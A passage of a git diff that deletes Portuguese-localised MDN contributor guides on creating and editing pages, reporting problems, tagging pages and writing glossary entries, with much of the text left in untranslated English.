- <li>Log in, and have page-creation permission.</li>
- <li>Enter the following in the URL field of your browser:</li>
-</ol>
-
-<pre class="language-html">https://developer.mozilla.org/en-US/docs/new</pre>
-
-<p>MDN Creates a new page, with a place for a title, opening the editor to add new content to this page. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for information on using editor mode.</p>
-
-<h3 id="Subpage_of_an_existing_page">Subpage of an existing page</h3>
-
-<p>To create a page you want to be below an existing page, in the page hierarchy:</p>
-
-<ol>
- <li>On the 'parent' page, click the <strong>Advanced</strong> menu (the gear icon in the toolbar), then click <strong>New sub-page</strong>.</li>
- <li>An editor view opens for creating a new document.</li>
- <li>Add a title for this document, in the <strong>Title</strong> field.</li>
- <li>Change the <strong>Slug</strong> field, if needed. For example, if the title is long, and a shorter URL seems appropriate. This field is automatically filled by the editor, substituting underscores for spaces found in the title, changing only the last part of the URL.</li>
- <li>In the <strong>TOC</strong> field, select heading levels you want to be displayed in the table of contents for the page. Or select 'No table of contents', if one is not needed.</li>
- <li>Write content of the page in the editor pane, saving your changes. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for further information on using editor mode.</li>
-</ol>
-
-<h3 id="Clone_of_an_existing_page">Clone of an existing page</h3>
-
-<p>If there is an existing page, whose format you wish to use as a base for your new page, you can 'clone' that page, and then change its content.</p>
-
-<ol>
- <li>On the original page, click the <strong>Advanced</strong> menu (the gear icon in the toolbar), and click <strong>Clone this page</strong>. An editor view opens, for creating a new document.</li>
- <li>Change the <strong>Title</strong> of the page, as appropriate for the new content. The <strong>Slug</strong> field is updated automatically as you change the <strong>Title</strong> field.</li>
- <li>Change the path portion of the <strong>Slug</strong> field, as needed, to put the new document in a different location in the document hierarchy. In most cases, this is not needed. A cloned page often has similar content to its original, and need to be in a similar location.</li>
- <li>In the <strong>TOC</strong> field, select the heading levels you want to be automatically displayed in the table of contents for this page. Or select 'No table of contents', if one is not needed.</li>
- <li>Write your content in the editor pane, saving your changes. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for more information on using editor mode.</li>
-</ol>
-
-<h3 id="Link_from_an_existing_page">Link from an existing page</h3>
-
-<p>This is a bit of a hybrid. You can create a link on another page, then click the link you just inserted, to create the new page:</p>
-
-<ol>
- <li>Enter the name of your new page, anywhere that makes sense in the text of an existing page.</li>
- <li>Highlight this new name, and <strong>click the Link icon (<img alt="" src="https://developer.mozilla.org/files/3810/link-icon.png" style="height: 28px; width: 29px;">) </strong>in the editor's toolbar. The <strong>'Update Link'</strong> dialog opens, with the highlighted text in the <strong>'Link To'</strong> field.</li>
- <li>"/en-US/docs/" is inserted by default, to the beginning of the URL field.<em> Enter the name </em>of the page after "/en-US/docs/". The page name does not have to be the same as the link text.</li>
- <li>Click OK, to create and insert the link.</li>
-</ol>
-
-<p>If the page does not yet exist, the link is displayed in red. If the page <em>does</em> exist, the link is displayed blue. If you want to create a new page, but the page title you desire is already taken, check if it makes sense helping edit and improve the page already there. Otherwise, think of a unique title for your new page, and create a link for it. Refer to <a href="https://developer.mozilla.org/Project:en/Page_Naming_Guide" title="Project:en/Page_Naming_Guide">page naming guide</a> for guidelines.</p>
-
-<p>To add content to your new page, click on the red link you just created, after saving and closing the editor. The new page opens in editor mode, enabling you to start writing. Refer to <a href="#Editing_an_existing_page">Editing an existing page</a>, for further information on using editor mode.</p>
-
-<h2 id="Refreshing_page_content">Refreshing page content</h2>
-
-<p>MDN support of KumaScript macros, and integration of content from other pages can sometimes be hampered by the need for caching of pages, for performance reasons. Pages are built from their source, and this output is cached for future requests. From that moment on, any macros (templates), or integrations (using the macro<span class="templateLink"><code><a href="https://developer.mozilla.org/en-US/docs/Template:Page">Page</a></code></span>), will not reflect later changes made to the macro, its output, or the contents of the integrated material.</p>
-
-<ul>
- <li>To manually update a page, force-refresh your Web browser. MDN detects this, triggering a page rebuild, pulling in updated macro output, and integrating page content.</li>
- <li>You can also configure pages to periodically rebuild, automatically. This should not be done unless you expect the page to update frequently. See <a href="/en-US/docs/MDN/Contribute/Tools/Page_regeneration">Page regeneration</a>, for detailed information.</li>
-</ul>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/MDN/Contribute/Editor">MDN editor guide</a></li>
- <li><a href="/en-US/docs/MDN/Contribute/Content/Style_guide">MDN style guide</a></li>
-</ul>
diff --git a/files/pt-pt/mdn/contribute/howto/index.html b/files/pt-pt/mdn/contribute/howto/index.html
deleted file mode 100644
index 08ce3855be..0000000000
--- a/files/pt-pt/mdn/contribute/howto/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: Guias de Como...
-slug: MDN/Contribute/Howto
-tags:
- - Landing
- - Metadados MDN
-translation_of: MDN/Contribute/Howto
----
-<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/pt-PT/docs/MDN")}}</div>
-
-<p>Estes artigos proporcionam guias passo-a-passo para a realização de objetivos específicos quando contribui para a MDN.</p>
-
-<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html b/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html
deleted file mode 100644
index 8145a208c9..0000000000
--- a/files/pt-pt/mdn/contribute/howto/report_a_problem/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Como comunicar um problema na MDN
-slug: MDN/Contribute/Howto/Report_a_problem
-tags:
- - Como...
- - Guía
- - Metadados MDN
-translation_of: MDN/Contribute/Howto/Report_a_problem
-original_slug: MDN/Contribute/Howto/Comunicar_um_problema
----
-<div>{{MDNSidebar}}</div>
-
-<p>De vez em quando, pode encontrar problemas ao utilizar a MDN. Se é um problema com a infra-estrutura do site ou um erro no conteúdo da documentação, pode tentar corrigi-lo ou comunicar o problema. Enquanto o primeiro é o preferido, o último é às vezes o melhor que pode gerir, e isso também está bem.</p>
-
-<h2 id="Erros_de_documentação_ou_pedidos">Erros de documentação ou pedidos</h2>
-
-<p>Obviously, since MDN is a wiki, the best thing you can possibly do is fix problems you spot yourself. But maybe you don't know the answer or are in the middle of a deadline on your own project or something, and need to jot down the problem so someone can look at it later.</p>
-
-<p>As is the case with all things Mozilla, you report a documentation problem by filing a bug. That's when filing a <a href="https://bugzilla.mozilla.org/form.doc">documentation request bug</a> comes in. The documentation request form gathers the information needed to get us started on fixing the issue.</p>
-
-<p>Of course, our writing community is busy, so sometimes the quickest way to see a documentation problem resolved is to fix it yourself. See <a href="/en-US/docs/MDN/Contribute/Howto/Create_and_edit_pages" title="/en-US/docs/Project:MDN/Contributing/Creating_and_editing_pages">How to create and edit pages</a> for details.</p>
-
-<h2 id="Erros_bugs_do_site_ou_pedidos_de_funcionalidades">Erros (bugs) do site ou pedidos de funcionalidades</h2>
-
-<p><a href="/en-US/docs/MDN/Kuma" title="/en-US/docs/Project:MDN/Kuma">Kuma</a>, the Mozilla-developed platform used for the MDN web site, is in a state of continuous development. Our developers—as well as a number of volunteer contributors—are constantly making improvements. If you see a bug, or have a problem with the site, or even have a suggestion for something that could make the software more awesome, you can use the <a href="https://github.com/mdn/kuma/issues/new">Kuma bug form</a> to file a report. You can also use this form to report performance problems with the site, though odds are that performance-monitoring tools have already notified the appropriate people.</p>
diff --git a/files/pt-pt/mdn/contribute/howto/tag/index.html b/files/pt-pt/mdn/contribute/howto/tag/index.html
deleted file mode 100644
index fe8f43b2c0..0000000000
--- a/files/pt-pt/mdn/contribute/howto/tag/index.html
+++ /dev/null
@@ -1,376 +0,0 @@
----
-title: Como etiquetar devidamente as páginas
-slug: MDN/Contribute/Howto/Tag
-tags:
- - Como
- - Glossário
- - Guía
- - Introdução
- - Metadados da MDN
- - Principiante
- - Tutorial
- - contribuir
-translation_of: MDN/Contribute/Howto/Tag
-original_slug: MDN/Contribute/Howto/Etiqueta
----
-<div>{{MDNSidebar}}</div>
-
-<p class="summary">As <strong><em>tags</em> de artigo</strong> são uma maneira importante de colocar os visitantes em contacto com conteúdo útil. Cada página normalmente deverá ter várias <em>tags</em> para ajudar a manter o conteúdo organizado. Esta página explica a melhor maneira para etiquetar as páginas, e assim os nossos leitores podem encontrar a informação e nós podemos manter-nos organizados.</p>
-
-<p>Para obter ajuda com a interface do utilizador para editar <em>tags</em>, consulte a <a href="/pt-PT/docs/MDN/Contribute/Editor/Basicos">secção de etiquetagem</a> no nosso guia do editor.</p>
-
-<p>Por favor, utilize as <em>tags</em> devidamente como explicado em baixo. Se não o fizer, as nossas ferramentas automatizadas não irão gerar corretamente as listas de conteúdo, as páginas de destino, e ligação dos artigos.</p>
-
-<h2 id="Como_é_que_a_MDN_utiliza_as_tags_etiquetas">Como é que a MDN utiliza as <em>tags </em>(etiquetas) </h2>
-
-<p>As <em>tags</em> são utilizadas de vários modos na MDN:</p>
-
-<dl>
- <dt>Categorização do  documento</dt>
- <dd>What type of document is it? Is it a reference? A tutorial? A landing page? Our visitors can use these tags to filter searches, so they're really important!</dd>
- <dt>Identificação do tópico</dt>
- <dd>What is the article about? Is it about an API? The DOM? Graphics? Again, these tags are important because they can filter searches.</dd>
- <dt>Estado da tecnologia</dt>
- <dd>What's the status of the technology? Is it non-standard? Obsolete or deprecated? Experimental?</dd>
- <dt>Nível de proficiência</dt>
- <dd>For tutorials and guides, how advanced is the material covered by the article?</dd>
- <dt>Metadados do documento</dt>
- <dd>The writing community uses tags to keep track of which pages need what kind of work.</dd>
-</dl>
-
-<h2 id="Guia_do_tipo_de_tag">Guia do tipo de <em>tag</em></h2>
-
-<p>Here's a quick guide to the types of tags and possible values for them.</p>
-
-<h3 id="Categoria_do_documento">Categoria do documento</h3>
-
-<p>When you tag an article with one of these categories, you help the automated tools more accurately generate landing pages, tables of contents, and so on. Our new search system will also use these terms so that our visitors can locate reference or guide information at will.</p>
-
-<p>We use the following category names as standard tagging terms:</p>
-
-<dl>
- <dt><code>{{Tag("Intro")}}</code></dt>
- <dd>The article provides introductory material about a topic. Ideally each technology area should have only one "Intro".</dd>
- <dt><code>{{Tag("Featured")}}</code></dt>
- <dd>The article is critical and will display prominently on landing pages. Use this tag sparingly (never more than three documents in each documentation area).</dd>
- <dt><code>{{Tag("Reference")}}</code></dt>
- <dd>The article contains reference material about an API, element, attribute, property, or the like.</dd>
- <dt><code>{{Tag("Landing")}}</code></dt>
- <dd>The page is a landing page.</dd>
- <dt><code>{{Tag("Guide")}}</code></dt>
- <dd>The article is a how-to or guide page.</dd>
- <dt><code>{{Tag("Example")}}</code></dt>
- <dd>The article is a code sample page, or has code samples (that is, actual snippets of useful code, not one-line "syntax examples").</dd>
-</dl>
-
-<h3 id="Tópico">Tópico</h3>
-
-<p>By identifying the article's topic area, you are helping generate better search results (and landing pages and navigation as well).</p>
-
-<p>While there's some room for flexibility here as we identify new topic areas, we try to limit ourselves to the names of APIs or technologies. Some useful examples:</p>
-
-<ul>
- <li><code>{{Tag("HTML")}}</code></li>
- <li><code>{{Tag("CSS")}}</code></li>
- <li><code>{{Tag("JavaScript")}}</code> (notice the capital "S"!)</li>
- <li><code>{{Tag("Document")}}</code></li>
- <li><code>{{Tag("DOM")}}</code></li>
- <li><code>{{Tag("API")}}</code> for each interface, method and property.</li>
- <li><code>{{Tag("Method")}}</code> for each method of an API</li>
- <li><code>{{Tag("Property")}}</code> for each property of an API</li>
- <li><code>{{Tag("Graphics")}}</code></li>
- <li><code>{{Tag("SVG")}}</code></li>
- <li><code>{{Tag("WebGL")}}</code></li>
- <li><code>{{Tag("Tools")}}</code></li>
- <li><code>{{Tag("Web")}}</code></li>
- <li><code>{{Tag("Element")}}</code></li>
- <li><code>{{Tag("Extensions")}}</code> and <code>{{Tag("WebExtensions")}}</code> for WebExtension documentation.</li>
-</ul>
-
-<p>In general, your topic identification tag should be the name of an interface with a number of related pages (like <a href="/en-US/docs/Web/API/Node" title="/en-US/docs/Web/API/Node">Node</a>, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with <code>Graphics</code> and <code>WebGL</code>, for example, but a page about {{HTMLElement("canvas")}} with <code>HTML</code>, <code>Element</code>, <code>Canvas</code>, and <code>Graphics</code>.</p>
-
-<h4 id="Conteúdo_específico_da_Mozilla">Conteúdo específico da Mozilla</h4>
-
-<p>Estas <em>tags</em> são utilizadas apenas no conteúdo especifico da Mozilla:</p>
-
-<ul>
- <li><code>{{Tag("Mozilla")}}</code></li>
- <li><code>{{Tag("Firefox")}}</code></li>
- <li><code>{{Tag("Firefox OS")}}</code></li>
- <li><code>{{Tag("Gecko")}}</code></li>
- <li><code>{{Tag("XUL")}}</code></li>
- <li><code>{{Tag("XPCOM")}}</code></li>
-</ul>
-
-<h3 id="Identificação_de_API">Identificação de API</h3>
-
-<p>Within the API reference, each article should identify which part of the API it covers:</p>
-
-<dl>
- <dt><code>{{tag("Interface")}}</code></dt>
- <dd>The main article for an interface should have this tag. For example, {{domxref("RTCPeerConnection")}}.</dd>
- <dt><code>{{tag("Constructor")}}</code></dt>
- <dd>Each interface may have up to one page tagged "Constructor"; this is the interface's constructor. The page should have the same name as the interface, like {{domxref("RTCPeerConnection.RTCPeerConnection()")}}.</dd>
- <dt><code>{{tag("Property")}}</code></dt>
- <dd>Every article describing a particular property within an interface needs this tag. See {{domxref("RTCPeerConnection.connectionState")}}, for example.</dd>
- <dt><code>{{tag("Method")}}</code></dt>
- <dd>Each article documenting an interface method needs this tag. See {{domxref("RTCPeerConnection.createOffer()")}} for example.</dd>
-</dl>
-
-<p>In addition, the reference pages need to include interface, property, and method names among their tags. Some examples:</p>
-
-<dl>
- <dt>The interface {{domxref("RTCPeerConnection")}}</dt>
- <dd>Include the tag "RTCPeerConnection" along with the other relevant tags ("Interface", "WebRTC", "WebRTC API", "API", "Reference", and so forth).</dd>
- <dt>The method {{domxref("RTCPeerConnection.createOffer()")}}</dt>
- <dd>Include the tags "RTCPeerConnection" and "createOffer" (note <em>no</em> parentheses in tag names!) along with the other relevant tags, including "WebRTC", "WebRTC API", "API", "Reference", and so forth. Consider including things like "Offer" and "SDP", which are also relevant here.</dd>
- <dt>The property {{domxref("RTCPeerConnection.iceConnectionState")}}</dt>
- <dd>Include the tags "RTCPeerConnection" and "iceConnectionState" along with the other relevant tags, including "WebRTC", "WebRTC API", "API" and "Reference". Also consider including "ICE".</dd>
-</dl>
-
-<h3 id="Estado_da_tecnologia">Estado da tecnologia</h3>
-
-<p>To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.</p>
-
-<p>Here are possible values for these tags:</p>
-
-<dl>
- <dt><code>{{Tag("Read-only")}}</code></dt>
- <dd>Apply this tag to reference pages which describe a property or attribute which is read-only.</dd>
- <dt><code>{{Tag("Non-standard")}}</code></dt>
- <dd>Indicates that the technology or API described on the page is not part of a standard, whether it's stable or not in any browsers which implement it (if it's not stable, it should also be {{Tag("Experimental")}}). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.</dd>
- <dt><code>{{Tag("Deprecated")}}</code></dt>
- <dd>The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.</dd>
- <dt><code>{{Tag("Obsolete")}}</code></dt>
- <dd>The technology or API has been deemed obsolete and has been removed (or is actively being removed) from all or most current browsers.</dd>
- <dt><code>{{Tag("Experimental")}}</code></dt>
- <dd>The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it. If the technology isn't part of any specification (even in draft form), it should also have the {{tag("Non-standard")}} tag.</dd>
- <dt><code>{{Tag("Needs Privileges")}}</code></dt>
- <dd>The API requires privileged access to the device on which the code is running.</dd>
- <dt><code>{{Tag("Certified Only")}}</code></dt>
- <dd>The API only works in certified code.</dd>
-</dl>
-
-<p>These tags are no excuse to leave out the <a href="/en-US/docs/Project:Compatibility_tables">compatibility table</a> in your article! That should always be present.</p>
-
-<h3 id="Nível_de_competência_técnica">Nível de competência técnica</h3>
-
-<p>Use the skill-level tag type only for guides and tutorials (that is, pages tagged <code>Guide</code>) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:</p>
-
-<dl>
- <dt><code>{{Tag("Beginner")}}</code></dt>
- <dd>Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.</dd>
- <dt><code>{{Tag("Intermediate")}}</code></dt>
- <dd>Articles for users who have gotten started with the technology but aren't experts.</dd>
- <dt><code>{{Tag("Advanced")}}</code></dt>
- <dd>Articles about stretching the capabilities of a technology and of the reader.</dd>
-</dl>
-
-<h3 id="Metadados_de_documento">Metadados de documento</h3>
-
-<p>The writing community uses tags to label articles as requiring specific types of work. Here's a list of the ones we use most:</p>
-
-<dl>
- <dt><code>{{Tag("Draft")}}</code></dt>
- <dd>The article is not complete, and is at least in theory still actively being updated (although it's also possible it's been forgotten about). Try to check with the most recent contributors before making changes, in order to avoid potential content collisions.</dd>
- <dt><code>{{Tag("NeedsCompatTable")}}</code></dt>
- <dd>The article needs a table to specify compatibility of a feature across browsers. <a href="/en-US/docs/MDN/Contribute/Structures/Compatibility_tables">See here</a> for a guide on contributing to browser compatibility.</dd>
- <dt><code>{{Tag("NeedsContent")}}</code></dt>
- <dd>The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.</dd>
- <dt><code>{{Tag("NeedsExample")}}</code></dt>
- <dd>The article needs one or more examples created to help illustrate the article's point. These examples should use the <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
- <dt><code>{{Tag("NeedsLiveSamples")}}</code></dt>
- <dd>The article has one or more examples that need to be updated to use the <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
- <dt><code>{{Tag("NeedsSpecTable")}}</code></dt>
- <dd>The article needs a table to indicate on which specification document(s) the feature was defined.</dd>
- <dt><code>{{Tag("NeedsUpdate")}}</code></dt>
- <dd>The content is out of date and needs to be updated.</dd>
- <dt><code>{{Tag("l10n:exclude")}}</code></dt>
- <dd>The content is not really worth localizing and will not appear on localization status pages.</dd>
- <dt><code>{{Tag("l10n:priority")}}</code></dt>
- <dd>The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.</dd>
-</dl>
-
-<h2 id="Unindo_tudo">Unindo tudo</h2>
-
-<p>Portanto, para cada página que atribui <em>tags</em> de vários tipos de <em>tag</em>, por exemplo:</p>
-
-<dl>
- <dt>A tutorial about WebGL for beginners</dt>
- <dd><code>WebGL</code>, <code>Graphics</code>, <code>Guide</code>, <code>Beginner</code></dd>
- <dt>Reference page for {{HTMLElement("canvas")}}</dt>
- <dd><code>Canvas</code>, <code>HTML</code>, <code>Element</code>, <code>Graphics,</code> <code>Reference</code></dd>
- <dt>A landing page for Firefox OS developer tools</dt>
- <dd><code>Tools</code>, <code>Firefox OS</code>, <code>Landing</code></dd>
-</dl>
-
-<h2 id="Filtros_de_tag_e_pesquisa">Filtros de <em>tag </em>e pesquisa</h2>
-
-<p>Search filters won't work properly unless we tag MDN pages properly. Here's a table of search filters and which tags they look for.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.</p>
-</div>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Grupo de filtro</th>
- <th scope="col">Nome do filtro de pesquisa</th>
- <th scope="col">Nome da <em>tag</em></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <th rowspan="22" scope="row" style="vertical-align: baseline;">Tópico</th>
- <td>APIs and DOM</td>
- <td>{{Tag("API")}} || {{Tag("DOM")}} {{Deprecated_Inline}}</td>
- </tr>
- <tr>
- <td>Add-ons &amp; Extensions {{Deprecated_Inline}}</td>
- <td>{{Tag("Add-ons")}} || {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}} || {{Tag("WebExtensions")}}</td>
- </tr>
- <tr>
- <td>CSS</td>
- <td>{{Tag("CSS")}}</td>
- </tr>
- <tr>
- <td>Canvas</td>
- <td>{{Tag("Canvas")}}</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>{{Tag("Firefox")}}</td>
- </tr>
- <tr>
- <td>Firefox OS</td>
- <td>{{Tag("Firefox OS")}}</td>
- </tr>
- <tr>
- <td>Games</td>
- <td>{{Tag("Games")}}</td>
- </tr>
- <tr>
- <td>HTML</td>
- <td>{{Tag("HTML")}}</td>
- </tr>
- <tr>
- <td>HTTP</td>
- <td>{{Tag("HTTP")}}</td>
- </tr>
- <tr>
- <td>JavaScript</td>
- <td>{{Tag("JavaScript")}}</td>
- </tr>
- <tr>
- <td>Marketplace {{Non-standard_Inline}}</td>
- <td>{{Tag("Marketplace")}}</td>
- </tr>
- <tr>
- <td>MathML</td>
- <td>{{Tag("MathML")}}</td>
- </tr>
- <tr>
- <td>Mobile</td>
- <td>{{Tag("Mobile")}}</td>
- </tr>
- <tr>
- <td>Open Web Apps {{Non-standard_Inline}}</td>
- <td>{{Tag("Apps")}}</td>
- </tr>
- <tr>
- <td>SVG</td>
- <td>{{Tag("SVG")}}</td>
- </tr>
- <tr>
- <td>Web Development</td>
- <td>{{Tag("Web Development")}}</td>
- </tr>
- <tr>
- <td>Web Standards</td>
- <td>{{Tag("Web")}}</td>
- </tr>
- <tr>
- <td>WebExtensions</td>
- <td>{{Tag("WebExtensions")}}</td>
- </tr>
- <tr>
- <td>WebGL</td>
- <td>{{Tag("WebGL")}}</td>
- </tr>
- <tr>
- <td>Writing Documentation</td>
- <td>{{Tag("MDN Meta")}}</td>
- </tr>
- <tr>
- <td>XPCOM {{Non-standard_Inline}}</td>
- <td>{{Tag("XPCOM")}}</td>
- </tr>
- <tr>
- <td>XUL {{Non-standard_Inline}}</td>
- <td>{{Tag("XUL")}}</td>
- </tr>
- <tr>
- <th rowspan="3" scope="row" style="vertical-align: baseline; white-space: nowrap;">{{anch("Skill level")}}</th>
- <td>I'm an Expert</td>
- <td>{{Tag("Advanced")}}</td>
- </tr>
- <tr>
- <td>Intermediate</td>
- <td>{{Tag("Intermediate")}}</td>
- </tr>
- <tr>
- <td>I'm Learning</td>
- <td>{{Tag("Beginner")}}</td>
- </tr>
- <tr>
- <th rowspan="7" scope="row" style="vertical-align: baseline; white-space: nowrap;">Tipo de documento</th>
- <td>Docs</td>
- <td><em>This restricts the search to docs content, leaving out Hacks and other MDN content.</em></td>
- </tr>
- <tr>
- <td>Demos</td>
- <td><em>This includes Demo Studio content in the search results.</em></td>
- </tr>
- <tr>
- <td>Tools</td>
- <td>{{Tag("Tools")}}</td>
- </tr>
- <tr>
- <td>Code Samples</td>
- <td>{{Tag("Example")}}</td>
- </tr>
- <tr>
- <td>How-To &amp; Tutorial</td>
- <td>{{Tag("Guide")}}</td>
- </tr>
- <tr>
- <td>Developer Profiles</td>
- <td><em>This includes developer profiles from the MDN site in the search results.</em></td>
- </tr>
- <tr>
- <td>External Resources</td>
- <td><em>The dev team is still figuring this out...</em></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Problemas_de_etiquetagem_que_pode_corrigir">Problemas de etiquetagem que pode corrigir</h2>
-
-<p>There are several kinds of tag problems you can help fix:</p>
-
-<dl>
- <dt>No tags</dt>
- <dd>Generally articles should have at <em>least</em> a "{{anch("Document category", "category")}}" tag and a "{{anch("Topic", "topic")}}" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!</dd>
- <dt>Tags that don't follow our tagging standards</dt>
- <dd>Please fix any documents whose tags don't follow the standards on this page.<br>
- Note that you may occasionally see some localized tags (such as <code>Référence</code>) showing up on some English pages. This was due to a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048">bug in Kuma</a>, which caused the tags to reappear even if they were deleted. That bug has <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048#c37">since been fixed</a>, so any remaining localized tags can be cleaned up if they're spotted.</dd>
- <dt>Incorrect tags</dt>
- <dd>If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).</dd>
- <dt>Missing tags</dt>
- <dd>If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!</dd>
- <dt>Tag spam</dt>
- <dd>This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.</dd>
-</dl>
-
-<p>If you see one (or more) of these problems, please <a href="/en-US/docs/Project:MDN/Contributing/Getting_started#Logging_into_MDN">log into MDN</a> and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "<a href="/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box">The tags box</a>" in the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN editor guide</a>.</p>
diff --git a/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
deleted file mode 100644
index 4284498481..0000000000
--- a/files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: Como escrever e referenciar uma entrada no glossário
-slug: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
-tags:
- - Como...
- - Glossário
- - Guia(2)
- - Metadados da MDN
-translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
-original_slug: MDN/Contribute/Howto/Como_escrever_uma_nova_entrada_no_Glossario
----
-<div>{{MDNSidebar}}</div>
-
-<p>O <a href="/pt-PT/docs/Gloss%C3%A1rio">glossário</a> da MDN é o local onde nós definimos toda a terminologia, gíria, e abreviações utilizadas na documentação e programação. Contribuir para o glossário é uma maneira simples de tornar a Web mais fácil para todos entenderem. Você não precisa de um alto nível de habilidade técnica para escrever entradas de glossário porque elas devem permanecer simples e diretas.</p>
-
-<h2 id="Como_escrever_uma_entrada">Como escrever uma entrada</h2>
-
-<p>Se você está procurando por tópicos que precisam de uma entrada de glossário, verifique a lista de termos não documentados no final da página de destino do Glossário; clique em qualquer um desses links para iniciar uma nova página do Glossário para o item que você clicou; então siga os passos abaixo.</p>
-
-<p>Se você tem uma ideia para um nova entrada de glossário, basta abrir o botão em uma nova aba, e então siga os passos abaixo do botão.</p>
-
-<p></p><div class="align-center"><a class="button ignore-external mega positive" href="/pt-PT/docs/new?parent=4391">Adicionar Nova Entrada ao Glossário<div></div></a></div><p></p>
-
-<p> </p>
-
-<h3 id="Passo_1_Escreva_um_resumo">Passo 1: Escreva um resumo</h3>
-
-<p>The first paragraph of any glossary page is a simple and short description of the term (preferably no more than two sentences). Make sure anyone reading the description can understand the defined term immediately.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> Please don't copy-and-paste definitions from elsewhere (especially not Wikipedia, since its range of license versions is smaller, and thus incompatible with that of MDN). It's really important to make sure this content is simple and easy to understand. It's worth spending some time on it rather than stealing content blindly. This glossary should be useful new content, not repeating things from elsewhere.</p>
-</div>
-
-<p>Links to the glossary entry will use these summaries inside their tooltips, so that readers can see the definitions without navigating away from the page they're on. (See below how to insert links to glossary entries with the \{{Glossary}} macro.)</p>
-
-<p>If you must, you can add a few extra paragraphs, but it's very easy to find yourself writing a whole article. Writing a whole article is fine, but please don't put it in the glossary. If you aren't sure where to put your article, feel free to <a href="/en-US/docs/MDN/Community#Join_our_mailing_lists">reach out to discuss it</a>.</p>
-
-<h3 id="Passo_2_Expanda_com_hiperligações">Passo 2: Expanda com hiperligações</h3>
-
-<p>Finally, a glossary entry should always end with a "Learn more" section. This section should contain links to help the reader move forward: discovering more details, learning to use the relevant technology, and so on.</p>
-
-<p>We recommend that you sort the links into at least these three groups:</p>
-
-<dl>
- <dt>Conhecimento geral</dt>
- <dd>Links that provide more general information; for example, a link to <a href="https://pt.wikipedia.org/wiki/Wikip%C3%A9dia:P%C3%A1gina_principal">Wikipedia</a> is a good starting point.</dd>
- <dt>Referência técnica</dt>
- <dd>Links to more in-depth technical information, on MDN or elsewhere.</dd>
- <dt>Saber sobre a mesma</dt>
- <dd>Hiperligações para tutoriais, exercícios, quaisquer outros materiais que ajudem o leitor a saber como utilizar a tecnologia por de trás do termo definido.</dd>
-</dl>
-
-<h2 id="Termos_sugeridos">Termos sugeridos</h2>
-
-<p>So you want to contribute but you don't know which terms need to be defined? <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">Here's</a> a list of suggestions. Click one and get started!</p>
-
-<h2 id="Lidar_com_a_desambiguação">Lidar com a desambiguação</h2>
-
-<p>Sometimes, a term has several meanings depending on the context. To resolve the ambiguities, you must follow those guidelines:</p>
-
-<ul>
- <li>The term's main page must be a disambiguation page containing the {{TemplateLink("GlossaryDisambiguation")}} macro.</li>
- <li>The term has subpages that define the term for a given context.</li>
-</ul>
-
-<p>Let's illustrate that with an example. The term <em>signature</em> can have different meanings in at least three different contexts: <em>security</em>, <em>function</em> and <em>email</em>.</p>
-
-<ol>
- <li>A página de <a href="/pt-PT/docs/Gloss%C3%A1rio/Assinatura">Glossário/Assinatura</a> é a página de desambiguação como a  {{TemplateLink("GlossaryDisambiguation")}} macro.</li>
